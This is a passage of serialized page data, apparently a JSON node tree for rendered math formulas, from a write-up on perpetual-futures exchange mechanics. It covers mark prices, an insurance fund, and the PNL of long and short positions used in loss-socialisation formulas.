,[3766,3767,3768,3769],[161782],{"type":26,"tag":475,"props":161783,"children":161785},{"className":161784},[3719,21296,3769],[161786],{"type":32,"value":3445},{"type":26,"tag":475,"props":161788,"children":161790},{"className":161789},[21453],[161791],{"type":32,"value":21456},{"type":26,"tag":475,"props":161793,"children":161795},{"className":161794},[3746],[161796],{"type":26,"tag":475,"props":161797,"children":161799},{"className":161798,"style":92750},[3751],[161800],{"type":26,"tag":475,"props":161801,"children":161802},{},[],{"type":26,"tag":475,"props":161804,"children":161805},{"style":160670},[161806,161810],{"type":26,"tag":475,"props":161807,"children":161809},{"className":161808,"style":160379},[3760],[],{"type":26,"tag":475,"props":161811,"children":161813},{"className":161812},[3719],[161814,161818,161822,161827,161831],{"type":26,"tag":475,"props":161815,"children":161817},{"className":161816},[3719],[],{"type":26,"tag":475,"props":161819,"children":161821},{"className":161820,"style":3898},[3800],[],{"type":26,"tag":475,"props":161823,"children":161825},{"className":161824},[3903],[161826],{"type":32,"value":786},{"type":26,"tag":475,"props":161828,"children":161830},{"className":161829,"style":3898},[3800],[],{"type":26,"tag":475,"props":161832,"children":161834},{"className":161833},[3719],[161835,161840],{"type":26,"tag":475,"props":161836,"children":161838},{"className":161837,"style":93153},[3719,21296],[161839],{"type":32,"value":160550},{"type":26,"tag":475,"props":161841,"children":161843},{"className":161842},[3736],[161844],{"type":26,"tag":475,"props":161845,"children":161847},{"className":161846},[3741,21350],[161848,161896],{"type":26,"tag":475,"props":161849,"children":161851},{"className":161850},[3746],[161852,161891],{"type":26,"tag":475,"props":161853,"children":161856},{"className":161854,"style":161855},[3751],"height:0.8213em;",[161857,161874],{"type":26,"tag":475,"props":161858,"children":161860},{"style":161859},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[161861,161865],{"type":26,"tag":475,"props":161862,"children":161864},{"className":161863,"style":3761},[3760],[],{"type":26,"tag":475,"props":161866,"children":161868},{"className":161867},[3766,3767,3768,3769],[161869],{"type":26,"tag":475,"props":161870,"children":161872},{"className":161871},[3719,21296,3769],[161873],{"type":32,"value":3445},{"type":26,"tag":475,"props":161875,"children":161877},{"style":161876},"top:-3.113em;margin-right:0.05em;",[161878,161882],{"type":26,"tag":475,"props":161879,"children":161881},{"className":161880,"style":3761},[3760],[],{"type":26,"tag":475,"props":161883,"children":161885},{"className":161884},[3766,3767,3768,3769],[161886],{"type":26,"tag":475,"props":161887,"children":161889},{"className":161888},[3806,3769],[161890],{"type":32,"value":1106},{"type":26,"tag":475,"props":161892,"children":161894},{"className":161893},[21453],[161895],{"type":32,"value":21456},{"type":26,"tag":475,"props":161897,"children":161899},{"className":161898},[3746],[161900],{"type":26,"tag":475,"props":161901,"children":161904},{"className":161902,"style":161903},[3751],"height:0.267em;",[161905],{"type":26,"tag":475,"props":161906,"children":161907},{},[],{"type":26,"tag":475,"props":161909,"children":161910},{"style":160740},[161911,161915],{"type":26,"tag":475,"props":161912,"children":161914},{"className":161913,"style":160379},[3760],[],{"type":26,"tag":475,"props":161916,"children":161918},{"className":161917},[3719],[161919,161923,161927,161932,161936,161946],{"type":26,"tag":475,"props":161920,"children":161922},{"className":161921},[3719],[],{"type":26,"tag":475,"props":161924,"children":161926},{"className":161925,"style":3898},[3800],[],{"type":26,"tag":475,"props":161928,"children":161930},{"className":161929},[3903],[161931],{"type":32,"value":21315},{"type":26,"tag":475,"props":161933,"children":161935},{"className":161934,"style":3898},[3800],[],{"type":26,"tag":475,"props":161937,"children":161939},{"className":161938},[3719,32],[161940],{"type":26,"tag":475,"props":161941,"children":161943},{"className":161942},[3719],[161944],{"type":32,"value":161945},"dollars seized from winner ",{"type":26,"tag":475,"props":161947,"children":161949},{"className":161948},[3719,21296],[161950],{"type":32,"value":3445},{"type":26,"tag":475,"props":161952,"children":161953},{"style":160809},[161954,161958],{"type":26,"tag":475,"props":161955,"children":161957},{"className":161956,"style":160379},[3760],[],{"type":26,"tag":475,"props":161959,"children":161961},{"className":161960},[3719],[161962,161966,161970,161975,161979],{"type":26,"tag":475,"props":161963,"children":161965},{"className":161964},[3719],[],{"type":26,"tag":475,"props":161967,"children":161969},{"className":161968,"style":3898},[3800],[],{"type":26,"tag":475,"props":161971,"children":161973},{"className":161972},[3903],[161974],{"type":32,"value":786},{"type":26,"tag":475,"props":161976,"children":161978},{"className":161977,"style":3898},[3800],[],{"type":26,"tag":475,"props":161980,"children":161982},{"className":161981},[3719],[161983,161987,162168],{"type":26,"tag":475,"props":161984,"children":161986},{"className":161985},[21425,112997],[],{"type":26,"tag":475,"props":161988,"children":161990},{"className":161989},[113002],[161991],{"type":26,"tag":475,"props":161992,"children":161994},{"className":161993},[3741,21350],[161995,162156],{"type":26,"tag":475,"props":161996,"children":161998},{"className":161997},[3746],[161999,162151],{"type":26,"tag":475,"props":162000,"children":162003},{"className":162001,"style":162002},[3751],"height:1.1076em;",[162004,162072,162083],{"type":26,"tag":475,"props":162005,"children":162006},{"style":158588},[162007,162011],{"type":26,"tag":475,"props":162008,"children":162010},{"className":162009,"style":111650},[3760],[],{"type":26,"tag":475,"props":162012,"children":162014},{"className":162013},[3719],[162015],{"type":26,"tag":475,"props":162016,"children":162018},{"className":162017},[3719],[162019,162024],{"type":26,"tag":475,"props":162020,"children":162022},{"className":162021,"style":121759},[3719,21296],[162023],{"type":32,"value":49264},{"type":26,"tag":475,"props":162025,"children":162027},{"className":162026},[3736],[162028],{"type":26,"tag":475,"props":162029,"children":162031},{"className":162030},[3741,21350],[162032,162061],{"type":26,"tag":475,"props":162033,"children":162035},{"className":162034},[3746],[162036,162056],{"type":26,"tag":475,"props":162037,"children":162039},{"className":162038,"style":93196},[3751],[162040],{"type":26,"tag":475,"props":162041,"children":162042},{"style":160707},[162043,162047],{"type":26,"tag":475,"props":162044,"children":162046},{"className":162045,"style":3761},[3760],[],{"type":26,"tag":475,"props":162048,"children":162050},{"className":162049},[3766,3767,3768,3769],[162051],{"type":26,"tag":475,"props":162052,"children":162054},{"className":162053},[3719,21296,3769],[162055],{"type":32,"value":3445},{"type":26,"tag":475,"props":162057,"children":162059},{"className":162058},[21453],[162060],{"type":32,"value":21456},{"type":26,"tag":475,"props":162062,"children":162064},{"className":162063},[3746],[162065],{"type":26,"tag":475,"props":162066,"children":162068},{"className":162067,"style":92750},[3751],[162069],{"type":26,"tag":475,"props":162070,"children":162071},{},[],{"type":26,"tag":475,"props":162073,"children":162074},{"style":113052},[162075,162079],{"type":26,"tag":475,"props":162076,"children":162078},{"className":162077,"style":111650},[3760],[],{"type":26,"tag":475,"props":162080,"children":162082},{"className":162081,"style":113062},[113061],[],{"type":26,"tag":475,"props":162084,"children":162085},{"style":158639},[162086,162090],{"type":26,"tag":475,"props":162087,"children":162089},{"className":162088,"style":111650},[3760],[],{"type":26,"tag":475,"props":162091,"children":162093},{"className":162092},[3719],[162094],{"type":26,"tag":475,"props":162095,"children":162097},{"className":162096},[3719],[162098,162103],{"type":26,"tag":475,"props":162099,"children":162101},{"className":162100},[3719,21296],[162102],{"type":32,"value":18984},{"type":26,"tag":475,"props":162104,"children":162106},{"className":162105},[3736],[162107],{"type":26,"tag":475,"props":162108,"children":162110},{"className":162109},[3741,21350],[162111,162140],{"type":26,"tag":475,"props":162112,"children":162114},{"className":162113},[3746],[162115,162135],{"type":26,"tag":475,"props":162116,"children":162118},{"className":162117,"style":93196},[3751],[162119],{"type":26,"tag":475,"props":162120,"children":162121},{"style":92723},[162122,162126],{"type":26,"tag":475,"props":162123,"children":162125},{"className":162124,"style":3761},[3760],[],{"type":26,"tag":475,"props":162127,"children":162129},{"className":162128},[3766,3767,3768,3769],[162130],{"type":26,"tag":475,"props":162131,"children":162133},{"className":162132},[3719,21296,3769],[162134],{"type":32,"value":3445},{"type":26,"tag":475,"props":162136,"children":162138},{"className":162137},[21453],[162139],{"type":32,"value":21456},{"type":26,"tag":475,"props":162141,"children":162143},{"className":162142},[3746],[162144],{"type":26,"tag":475,"props":162145,"children":162147},{"className":162146,"style":92750},[3751],[162148],{"type":26,"tag":475,"props":162149,"children":162150},{},[],{"type":26,"tag":475,"props":162152,"children":162154},{"className":162153},[21453],[162155],{"type":32,"value":21456},{"type":26,"tag":475,"props":162157,"children":162159},{"className":162158},[3746],[162160],{"type":26,"tag":475,"props":162161,"children":162164},{"className":162162,"style":162163},[3751],"height:0.836em;",[162165],{"type":26,"tag":475,"props":162166,"children":162167},{},[],{"type":26,"tag":475,"props":162169,"children":162171},{"className":162170},[21447,112997],[],{"type":26,"tag":475,"props":162173,"children":162174},{"style":160878},[162175,162179],{"type":26,"tag":475,"props":162176,"children":162178},{"className":162177,"style":160379},[3760],[],{"type":26,"tag":475,"props":162180,"children":162182},{"className":162181},[3719],[162183,162187,162191,162196,162200,162270,162274],{"type":26,"tag":475,"props":162184,"children":162186},{"className":162185},[3719],[],{"type":26,"tag":475,"props":162188,"children":162190},{"className":162189,"style":3898},[3800],[],{"type":26,"tag":475,"props":162192,"children":162194},{"className":162193},[3903],[162195],{"type":32,"value":786},{"type":26,"tag":475,"props":162197,"children":162199},{"className":162198,"style":3898},[3800],[],{"type":26,"tag":475,"props":162201,"children":162204},{"className":162202},[21332,162203],"op-limits",[162205],{"type":26,"tag":475,"props":162206,"children":162208},{"className":162207},[3741,21350],[162209,162258],{"type":26,"tag":475,"props":162210,"children":162212},{"className":162211},[3746],[162213,162253],{"type":26,"tag":475,"props":162214,"children":162217},{"className":162215,"style":162216},[3751],"height:1.05em;",[162218,162236],{"type":26,"tag":475,"props":162219,"children":162221},{"style":162220},"top:-1.8723em;margin-left:0em;",[162222,162227],{"type":26,"tag":475,"props":162223,"children":162226},{"className":162224,"style":162225},[3760],"height:3.05em;",[],{"type":26,"tag":475,"props":162228,"children":162230},{"className":162229},[3766,3767,3768,3769],[162231],{"type":26,"tag":475,"props":162232,"children":162234},{"className":162233},[3719,21296,3769],[162235],{"type":32,"value":3445},{"type":26,"tag":475,"props":162237,"children":162239},{"style":162238},"top:-3.05em;",[162240,162244],{"type":26,"tag":475,"props":162241,"children":162243},{"className":162242,"style":162225},[3760],[],{"type":26,"tag":475,"props":162245,"children":162246},{},[162247],{"type":26,"tag":475,"props":162248,"children":162251},{"className":162249},[21332,21337,162250],"large-op",[162252],{"type":32,"value":108274},{"type":26,"tag":475,"props":162254,"children":162256},{"className":162255},[21453],[162257],{"type":32,"value":21456},{"type":26,"tag":475,"props":162259,"children":162261},{"className":162260},[3746],[162262],{"type":26,"tag":475,"props":162263,"children":162266},{"className":162264,"style":162265},[3751],"height:1.2777em;",[162267],{"type":26,"tag":475,"props":162268,"children":162269},{},[],{"type":26,"tag":475,"props":162271,"children":162273},{"className":162272,"style":3839},[3800],[],{"type":26,"tag":475,"props":162275,"children":162277},{"className":162276},[3719],[162278,162283],{"type":26,"tag":475,"props":162279,"children":162281},{"className":162280},[3719,21296],[162282],{"type":32,"value":18984},{"type":26,"tag":475,"props":162284,"children":162286},{"className":162285},[3736],[162287],{"type":26,"tag":475,"props":162288,"children":162290},{"className":162289},[3741,21350],[162291,162320],{"type":26,"tag":475,"props":162292,"children":162294},{"className":162293},[3746],[162295,162315],{"type":26,"tag":475,"props":162296,"children":162298},{"className":162297,"style":93196},[3751],[162299],{"type":26,"tag":475,"props":162300,"children":162301},{"style":92723},[162302,162306],{"type":26,"tag":475,"props":162303,"children":162305},{"className":162304,"style":3761},[3760],[],{"type":26,"tag":475,"props":162307,"children":162309},{"className":162308},[3766,3767,3768,3769],[162310],{"type":26,"tag":475,"props":162311,"children":162313},{"className":162312},[3719,21296,3769],[162314],{"type":32,"value":3445},{"type":26,"tag":475,"props":162316,"children":162318},{"className":162317},[21453],[162319],{"type":32,"value":21456},{"type":26,"tag":475,"props":162321,"children":162323},{"className":162322},[3746],[162324],{"type":26,"tag":475,"props":162325,"children":162327},{"className":162326,"style":92750},[3751],[162328],{"type":26,"tag":475,"props":162329,"children":162330},{},[],{"type":26,"tag":475,"props":162332,"children":162333},{"style":160947},[162334,162338],{"type":26,"tag":475,"props":162335,"children":162337},{"className":162336,"style":160379},[3760],[],{"type":26,"tag":475,"props":162339,"children":162341},{"className":162340},[3719],[162342,162346,162350,162355,162359,162422,162426,162431,162436,162441,162498,162503,162507,162511,162516],{"type":26,"tag":475,"props":162343,"children":162345},{"className":162344},[3719],[],{"type":26,"tag":475,"props":162347,"children":162349},{"className":162348,"style":3898},[3800],[],{"type":26,"tag":475,"props":162351,"children":162353},{"className":162352},[3903],[162354],{"type":32,"value":786},{"type":26,"tag":475,"props":162356,"children":162358},{"className":162357,"style":3898},[3800],[],{"type":26,"tag":475,"props":162360,"children":162362},{"className":162361},[21332,162203],[162363],{"type":26,"tag":475,"props":162364,"children":162366},{"className":162365},[3741,21350],[162367,162411],{"type":26,"tag":475,"props":162368,"children":162370},{"className":162369},[3746],[162371,162406],{"type":26,"tag":475,"props":162372,"children":162374},{"className":162373,"style":162216},[3751],[162375,162391],{"type":26,"tag":475,"props":162376,"children":162377},{"style":162220},[162378,162382],{"type":26,"tag":475,"props":162379,"children":162381},{"className":162380,"style":162225},[3760],[],{"type":26,"tag":475,"props":162383,"children":162385},{"className":162384},[3766,3767,3768,3769],[162386],{"type":26,"tag":475,"props":162387,"children":162389},{"className":162388},[3719,21296,3769],[162390],{"type":32,"value":3445},{"type":26,"tag":475,"props":162392,"children":162393},{"style":162238},[162394,162398],{"type":26,"tag":475,"props":162395,"children":162397},{"className":162396,"style":162225},[3760],[],{"type":26,"tag":475,"props":162399,"children":162400},{},[162401],{"type":26,"tag":475,"props":162402,"children":162404},{"className":162403},[21332,21337,162250],[162405],{"type":32,"value":108274},{"type":26,"tag":475,"props":162407,"children":162409},{"className":162408},[21453],[162410],{"type":32,"value":21456},{"type":26,"tag":475,"props":162412,"children":162414},{"className":162413},[3746],[162415],{"type":26,"tag":475,"props":162416,"children":162418},{"className":162417,"style":162265},[3751],[162419],{"type":26,"tag":475,"props":162420,"children":162421},{},[],{"type":26,"tag":475,"props":162423,"children":162425},{"className":162424,"style":3839},[3800],[],{"type":26,"tag":475,"props":162427,"children":162429},{"className":162428},[21332],[162430],{"type":32,"value":160093},{"type":26,"tag":475,"props":162432,"children":162434},{"className":162433},[21425],[162435],{"type":32,"value":626},{"type":26,"tag":475,"props":162437,"children":162439},{"className":162438},[3719],[162440],{"type":32,"value":3780},{"type":26,"tag":475,"props":162442,"children":162444},{"className":162443},[3719],[162445,162450],{"type":26,"tag":475,"props":162446,"children":162448},{"className":162447},[3719,21296],[162449],{"type":32,"value":689},{"type":26,"tag":475,"props":162451,"children":162453},{"className":162452},[3736],[162454],{"type":26,"tag":475,"props":162455,"children":162457},{"className":162456},[3741,21350],[162458,162487],{"type":26,"tag":475,"props":162459,"children":162461},{"className":162460},[3746],[162462,162482],{"type":26,"tag":475,"props":162463,"children":162465},{"className":162464,"style":93196},[3751],[162466],{"type":26,"tag":475,"props":162467,"children":162468},{"style":92723},[162469,162473],{"type":26,"tag":475,"props":162470,"children":162472},{"className":162471,"style":3761},[3760],[],{"type":26,"tag":475,"props":162474,"children":162476},{"className":162475},[3766,3767,3768,3769],[162477],{"type":26,"tag":475,"props":162478,"children":162480},{"className":162479},[3719,21296,3769],[162481],{"type":32,"value":3445},{"type":26,"tag":475,"props":162483,"children":162485},{"className":162484},[21453],[162486],{"type":32,"value":21456},{"type":26,"tag":475,"props":162488,"children":162490},{"className":162489},[3746],[162491],{"type":26,"tag":475,"props":162492,"children":162494},{"className":162493,"style":92750},[3751],[162495],{"type":26,"tag":475,"props":162496,"children":162497},{},[],{"type":26,"tag":475,"props":162499,"children":162501},{"className":162500},[3832],[162502],{"type":32,"value":3835},{"type":26,"tag":475,"props":162504,"children":162506},{"className":162505,"style":3839},[3800],[],{"type":26,"tag":475,"props":162508,"children":162510},{"className":162509,"style":3839},[3800],[],{"type":26,"tag":475,"props":162512,"children":162514},{"className":162513},[3719],[162515],{"type":32,"value":3732},{"type":26,"tag":475,"props":162517,"children":162519},{"className":162518},[21447],[162520],{"type":32,"value":2835},{"type":26,"tag":475,"props":162522,"children":162523},{"style":161017},[162524,162528],{"type":26,"tag":475,"props":162525,"children":162527},{"className":162526,"style":160379},[3760],[],{"type":26,"tag":475,"props":162529,"children":162531},{"className":162530},[3719],[162532,162536,162540,162545,162549,162612,162616],{"type":26,"tag":475,"props":162533,"children":162535},{"className":162534},[3719],[],{"type":26,"tag":475,"props":162537,"children":162539},{"className":162538,"style":3898},[3800],[],{"type":26,"tag":475,"props":162541,"children":162543},{"className":162542},[3903],[162544],{"type":32,"value":786},{"type":26,"tag":475,"props":162546,"children":162548},{"className":162547,"style":3898},[3800],[],{"type":26,"tag":475,"props":162550,"children":162552},{"className":162551},[21332,162203],[162553],{"type":26,"tag":475,"props":162554,"children":162556},{"className":162555},[3741,21350],[162557,162601],{"type":26,"tag":475,"props":162558,"children":162560},{"className":162559},[3746],[162561,162596],{"type":26,"tag":475,"props":162562,"children":162564},{"className":162563,"style":162216},[3751],[162565,162581],{"type":26,"tag":475,"props":162566,"children":162567},{"style":162220},[162568,162572],{"type":26,"tag":475,"props":162569,"children":162571},{"className":162570,"style":162225},[3760],[],{"type":26,"tag":475,"props":162573,"children":162575},{"className":162574},[3766,3767,3768,3769],[162576],{"type":26,"tag":475,"props":162577,"children":162579},{"className":162578},[3719,21296,3769],[162580],{"type":32,"value":3445},{"type":26,"tag":475,"props":162582,"children":162583},{"style":162238},[162584,162588],{"type":26,"tag":475,"props":162585,"children":162587},{"className":162586,"style":162225},[3760],[],{"type":26,"tag":475,"props":162589,"children":162590},{},[162591],{"type":26,"tag":475,"props":162592,"children":162594},{"className":162593},[21332,21337,162250],[162595],{"type":32,"value":108274},{"type":26,"tag":475,"props":162597,"children":162599},{"className":162598},[21453],[162600],{"type":32,"value":21456},{"type":26,"tag":475,"props":162602,"children":162604},{"className":162603},[3746],[162605],{"type":26,"tag":475,"props":162606,"children":162608},{"className":162607,"style":162265},[3751],[162609],{"type":26,"tag":475,"props":162610,"children":162611},{},[],{"type":26,"tag":475,"props":162613,"children":162615},{"className":162614,"style":3839},[3800],[],{"type":26,"tag":475,"props":162617,"children":162619},{"className":162618},[3719],[162620,162625],{"type":26,"tag":475,"props":162621,"children":162623},{"className":162622,"style":121759},[3719,21296],[162624],{"type":32,"value":49264},{"type":26,"tag":475,"props":162626,"children":162628},{"className":162627},[3736],[162629],{"type":26,"tag":475,"props":162630,"children":162632},{"className":162631},[3741,21350],[162633,162662],{"type":26,"tag":475,"props":162634,"children":162636},{"className":162635},[3746],[162637,162657],{"type":26,"tag":475,"props":162638,"children":162640},{"className":162639,"style":93196},[3751],[162641],{"type":26,"tag":475,"props":162642,"children":162643},{"style":160707},[162644,162648],{"type":26,"tag":475,"props":162645,"children":162647},{"className":162646,"style":3761},[3760],[],{"type":26,"tag":475,"props":162649,"children":162651},{"className":162650},[3766,3767,3768,3769],[162652],{"type":26,"tag":475,"props":162653,"children":162655},{"className":162654},[3719,21296,3769],[162656],{"type":32,"value":3445},{"type":26,"tag":475,"props":162658,"children":162660},{"className":162659},[21453],[162661],{"type":32,"value":21456},{"type":26,"tag":475,"props":162663,"children":162665},{"className":162664},[3746],[162666],{"type":26,"tag":475,"props":162667,"children":162669},{"className":162668,"style":92750},[3751],[162670],{"type":26,"tag":475,"props":162671,"children":162672},{},[],{"type":26,"tag":475,"props":162674,"children":162675},{"style":161088},[162676,162680],{"type":26,"tag":475,"props":162677,"children":162679},{"className":162678,"style":160379},[3760],[],{"type":26,"tag":475,"props":162681,"children":162683},{"className":162682},[3719],[162684,162688,162692,162697,162701,162706,162711,162768,162772,162777,162781,162786,162790,162795,162799,162856,162861,162865,162869,162874],{"type":26,"tag":475,"props":162685,"children":162687},{"className":162686},[3719],[],{"type":26,"tag":475,"props":162689,"children":162691},{"className":162690,"style":3898},[3800],[],{"type":26,"tag":475,"props":162693,"children":162695},{"className":162694},[3903],[162696],{"type":32,"value":786},{"type":26,"tag":475,"props":162698,"children":162700},{"className":162699,"style":3898},[3800],[],{"type":26,"tag":475,"props":162702,"children":162704},{"className":162703},[21332],[162705],{"type":32,"value":160093},{"type":26,"tag":475,"props":162707,"children":162709},{"className":162708},[21425],[162710],{"type":32,"value":626},{"type":26,"tag":475,"props":162712,"children":162714},{"className":162713},[3719],[162715,162720],{"type":26,"tag":475,"props":162716,"children":162718},{"className":162717,"style":92667},[3719,21296],[162719],{"type":32,"value":160966},{"type":26,"tag":475,"props":162721,"children":162723},{"className":162722},[3736],[162724],{"type":26,"tag":475,"props":162725,"children":162727},{"className":162726},[3741,21350],[162728,162757],{"type":26,"tag":475,"props":162729,"children":162731},{"className":162730},[3746],[162732,162752],{"type":26,"tag":475,"props":162733,"children":162735},{"className":162734,"style":142034},[3751],[162736],{"type":26,"tag":475,"props":162737,"children":162738},{"style":109478},[162739,162743],{"type":26,"tag":475,"props":162740,"children":162742},{"className":162741,"style":3761},[3760],[],{"type":26,"tag":475,"props":162744,"children":162746},{"className":162745},[3766,3767,3768,3769],[162747],{"type":26,"tag":475,"props":162748,"children":162750},{"className":162749,"style":21297},[3719,21296,3769],[162751],{"type":32,"value":5701},{"type":26,"tag":475,"props":162753,"children":162755},{"className":162754},[21453],[162756],{"type":32,"value":21456},{"type":26,"tag":475,"props":162758,"children":162760},{"className":162759},[3746],[162761],{"type":26,"tag":475,"props":162762,"children":162764},{"className":162763,"style":92750},[3751],[162765],{"type":26,"tag":475,"props":162766,"children":162767},{},[],{"type":26,"tag":475,"props":162769,"children":162771},{"className":162770,"style":3801},[3800],[],{"type":26,"tag":475,"props":162773,"children":162775},{"className":162774},[3806],[162776],{"type":32,"value":3780},{"type":26,"tag":475,"props":162778,"children":162780},{"className":162779,"style":3801},[3800],[],{"type":26,"tag":475,"props":162782,"children":162784},{"className":162783,"style":94687},[3719,21296],[162785],{"type":32,"value":94721},{"type":26,"tag":475,"props":162787,"children":162789},{"className":162788,"style":3801},[3800],[],{"type":26,"tag":475,"props":162791,"children":162793},{"className":162792},[3806],[162794],{"type":32,"value":3780},{"type":26,"tag":475,"props":162796,"children":162798},{"className":162797,"style":3801},[3800],[],{"type":26,"tag":475,"props":162800,"children":162802},{"className":162801},[3719],[162803,162808],{"type":26,"tag":475,"props":162804,"children":162806},{"className":162805,"style":92901},[3719,21296],[162807],{"type":32,"value":92904},{"type":26,"tag":475,"props":162809,"children":162811},{"className":162810},[3736],[162812],{"type":26,"tag":475,"props":162813,"children":162815},{"className":162814},[3741,21350],[162816,162845],{"type":26,"tag":475,"props":162817,"children":162819},{"className":162818},[3746],[162820,162840],{"type":26,"tag":475,"props":162821,"children":162823},{"className":162822,"style":142034},[3751],[162824],{"type":26,"tag":475,"props":162825,"children":162826},{"style":109908},[162827,162831],{"type":26,"tag":475,"props":162828,"children":162830},{"className":162829,"style":3761},[3760],[],{"type":26,"tag":475,"props":162832,"children":162834},{"className":162833},[3766,3767,3768,3769],[162835],{"type":26,"tag":475,"props":162836,"children":162838},{"className":162837,"style":21297},[3719,21296,3769],[162839],{"type":32,"value":5701},{"type":26,"tag":475,"props":162841,"children":162843},{"className":162842},[21453],[162844],{"type":32,"value":21456},{"type":26,"tag":475,"props":162846,"children":162848},{"className":162847},[3746],[162849],{"type":26,"tag":475,"props":162850,"children":162852},{"className":162851,"style":92750},[3751],[162853],{"type":26,"tag":475,"props":162854,"children":162855},{},[],{"type":26,"tag":475,"props":162857,"children":162859},{"className":162858},[3832],[162860],{"type":32,"value":3835},{"type":26,"tag":475,"props":162862,"children":162864},{"className":162863,"style":3839},[3800],[],{"type":26,"tag":475,"props":162866,"children":162868},{"className":162867,"style":3839},[3800],[],{"type":26,"tag":475,"props":162870,"children":162872},{"className":162871},[3719],[162873],{"type":32,"value":3732},{"type":26,"tag":475,"props":162875,"children":162877},{"className":162876},[21447],[162878],{"type":32,"value":2835},{"type":26,"tag":475,"props":162880,"children":162882},{"className":162881},[21453],[162883],{"type":32,"value":21456},{"type":26,"tag":475,"props":162885,"children":162887},{"className":162886},[3746],[162888],{"type":26,"tag":475,"props":162889,"children":162891},{"className":162890,"style":161169},[3751],[162892],{"type":26,"tag":475,"props":162893,"children":162894},{},[],{"type":26,"tag":35,"props":162896,"children":162897},{},[162898,162899,162976,162978,163003,163005,163082,163084,163161],{"type":32,"value":626},{"type":26,"tag":53,"props":162900,"children":162902},{"className":162901},[3691,3692],[162903],{"type":26,"tag":475,"props":162904,"children":162906},{"className":162905},[3697],[162907],{"type":26,"tag":475,"props":162908,"children":162910},{"className":162909,"ariaHidden":3703},[3702],[162911],{"type":26,"tag":475,"props":162912,"children":162914},{"className":162913},[3708],[162915,162919],{"type":26,"tag":475,"props":162916,"children":162918},{"className":162917,"style":110476},[3713],[],{"type":26,"tag":475,"props":162920,"children":162922},{"className":162921},[3719],[162923,162928],{"type":26,"tag":475,"props":162924,"children":162926},{"className":162925,"style":21297},[3719,21296],[162927],{"type":32,"value":21300},{"type":26,"tag":475,"props":162929,"children":162931},{"className":162930},[3736],[162932],{"type":26,"tag":475,"props":162933,"children":162935},{"className":162934},[3741,21350],[162936,162965],{"type":26,"tag":475,"props":162937,"children":162939},{"className":162938},[3746],[162940,162960],{"type":26,"tag":475,"props":162941,"children":162943},{"className":162942,"style":108911},[3751],[162944],{"type":26,"tag":475,"props":162945,"children":162946},{"style":160412},[162947,162951],{"type":26,"tag":475,"props":162948,"children":162950},{"className":162949,"style":3761},[3760],[],{"type":26,"tag":475,"props":162952,"children":162954},{"className":162953},[3766,3767,3768,3769],[162955],{"type":26,"tag":475,"props":162956,"children":162958},{"className":162957},[3719,21296,3769],[162959],{"type":32,"value":56095},{"type":26,"tag":475,"props":162961,"children":162963},{"className":162962},[21453],[162964],{"type":32,"value":21456},{"type":26,"tag":475,"props":162966,"children":162968},{"className":162967},[3746],[162969],{"type":26,"tag":475,"props":162970,"children":162972},{"className":162971,"style":92750},[3751],[162973],{"type":26,"tag":475,"props":162974,"children":162975},{},[],{"type":32,"value":162977},": mark price from different sources; ",{"type":26,"tag":53,"props":162979,"children":162981},{"className":162980},[3691,3692],[162982],{"type":26,"tag":475,"props":162983,"children":162985},{"className":162984},[3697],[162986],{"type":26,"tag":475,"props":162987,"children":162989},{"className":162988,"ariaHidden":3703},[3702],[162990],{"type":26,"tag":475,"props":162991,"children":162993},{"className":162992},[3708],[162994,162998],{"type":26,"tag":475,"props":162995,"children":162997},{"className":162996,"style":21291},[3713],[],{"type":26,"tag":475,"props":162999,"children":163001},{"className":163000,"style":94687},[3719,21296],[163002],{"type":32,"value":94721},{"type":32,"value":163004},": insurance fund, roughly the 5M on testnet HL; ",{"type":26,"tag":53,"props":163006,"children":163008},{"className":163007},[3691,3692],[163009],{"type":26,"tag":475,"props":163010,"children":163012},{"className":163011},[3697],[163013],{"type":26,"tag":475,"props":163014,"children":163016},{"className":163015,"ariaHidden":3703},[3702],[163017],{"type":26,"tag":475,"props":163018,"children":163020},{"className":163019},[3708],[163021,163025],{"type":26,"tag":475,"props":163022,"children":163024},{"className":163023,"style":109449},[3713],[],{"type":26,"tag":475,"props":163026,"children":163028},{"className":163027},[3719],[163029,163034],{"type":26,"tag":475,"props":163030,"children":163032},{"className":163031,"style":93153},[3719,21296],[163033],{"type":32,"value":160550},{"type":26,"tag":475,"props":163035,"children":163037},{"className":163036},[3736],[163038],{"type":26,"tag":475,"props":163039,"children":163041},{"className":163040},[3741,21350],[163042,163071],{"type":26,"tag":475,"props":163043,"children":163045},{"className":163044},[3746],[163046,163066],{"type":26,"tag":475,"props":163047,"children":163049},{"className":163048,"style":93196},[3751],[163050],{"type":26,"tag":475,"props":163051,"children":163052},{"style":93200},[163053,163057],{"type":26,"tag":475,"props":163054,"children":163056},{"className":163055,"style":3761},[3760],[],{"type":26,"tag":475,"props":163058,"children":163060},{"className":163059},[3766,3767,3768,3769],[163061],{"type":26,"tag":475,"props":163062,"children":163064},{"className":163063},[3719,21296,3769],[163065],{"type":32,"value":3445},{"type":26,"tag":475,"props":163067,"children":163069},{"className":163068},[21453],[163070],{"type":32,"value":21456},{"type":26,"tag":475,"props":163072,"children":163074},{"className":163073},[3746],[163075],{"type":26,"tag":475,"props":163076,"children":163078},{"className":163077,"style":92750},[3751],[163079],{"type":26,"tag":475,"props":163080,"children":163081},{},[],{"type":32,"value":163083}," is PNL for longs, negated for shorts; ",{"type":26,"tag":53,"props":163085,"children":163087},{"className":163086},[3691,3692],[163088],{"type":26,"tag":475,"props":163089,"children":163091},{"className":163090},[3697],[163092],{"type":26,"tag":475,"props":163093,"children":163095},{"className":163094,"ariaHidden":3703},[3702],[163096],{"type":26,"tag":475,"props":163097,"children":163099},{"className":163098},[3708],[163100,163104],{"type":26,"tag":475,"props":163101,"children":163103},{"className":163102,"style":109449},[3713],[],{"type":26,"tag":475,"props":163105,"children":163107},{"className":163106},[3719],[163108,163113],{"type":26,"tag":475,"props":163109,"children":163111},{"className":163110,"style":121759},[3719,21296],[163112],{"type":32,"value":49264},{"type":26,"tag":475,"props":163114,"children":163116},{"className":163115},[3736],[163117],{"type":26,"tag":475,"props":163118,"children":163120},{"className":163119},[3741,21350],[163121,163150],{"type":26,"tag":475,"props":163122,"children":163124},{"className":163123},[3746],[163125,163145],{"type":26,"tag":475,"props":163126,"children":163128},{"className":163127,"style":93196},[3751],[163129],{"type":26,"tag":475,"props":163130,"children":163131},{"style":160707},[163132,163136],{"type":26,"tag":475,"props":163133,"children":163135},{"className":163134,"style":3761},[3760],[],{"type":26,"tag":475,"props":163137,"children":163139},{"className":163138},[3766,3767,3768,3769],[163140],{"type":26,"tag":475,"props":163141,"children":163143},{"className":163142},[3719,21296,3769],[163144],{"type":32,"value":3445},{"type":26,"tag":475,"props":163146,